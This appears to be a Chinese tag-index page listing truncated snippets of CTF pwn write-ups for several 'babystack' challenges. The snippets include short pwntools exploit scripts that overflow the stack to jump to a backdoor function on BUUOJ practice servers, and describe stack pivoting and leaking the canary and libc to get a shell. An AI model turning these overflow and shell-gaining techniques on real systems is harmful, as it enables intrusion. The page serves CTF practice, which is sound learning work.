首页 > TAG信息列表 > babystack

pwn | bjdctf_2020_babystack

bjdctf_2020_babystack ret2text exp: from pwn import * import time context.log_level = 'debug' sh = remote('node4.buuoj.cn', 27865) p_backdoor = 0x00000000004006E6 sh.recv() sh.send(b'100\n') sh.recv() payload = 0x

actf_2019_babystack | stack pivoting

静态分析 查看保护机制 IDA分析 存在有限栈溢出,可以输入 0xE0 字节的数据,而 s 在栈上只有 0xD0 的空间 由于没有开启 Canary,常规做法是 ROP,但是由于溢出字节长度的限制,需要进行一次栈迁移再进行 栈迁移的核心思路是把 esp&ebp 寄存器的地址改到到一个可读可写的空间上(比如堆栈)

others_babystack

Full RELRO  为got表只读  程序的功能如下    1是read函数,存在栈溢出,2是puts函数,可以泄露canary,3是退出   思路 :程序中插入了canary,用puts函数泄露,然后再用puts函数来泄露puts_got,用libcsearcher获得libc版本,最终getshell canary最后一个字节是 \x00  ,即可以覆盖canary的低

bjdctf_2020_babystack

exp 脚本   真的是 baby 难度,直接栈溢出跳转到后门函数 from pwn import * io = remote('node3.buuoj.cn',25930) backdoor = 0x4006e6 payload = 'a' * (0x10+8) + p64(backdoor) io.sendline('100') io.sendline(payload) io.interactive()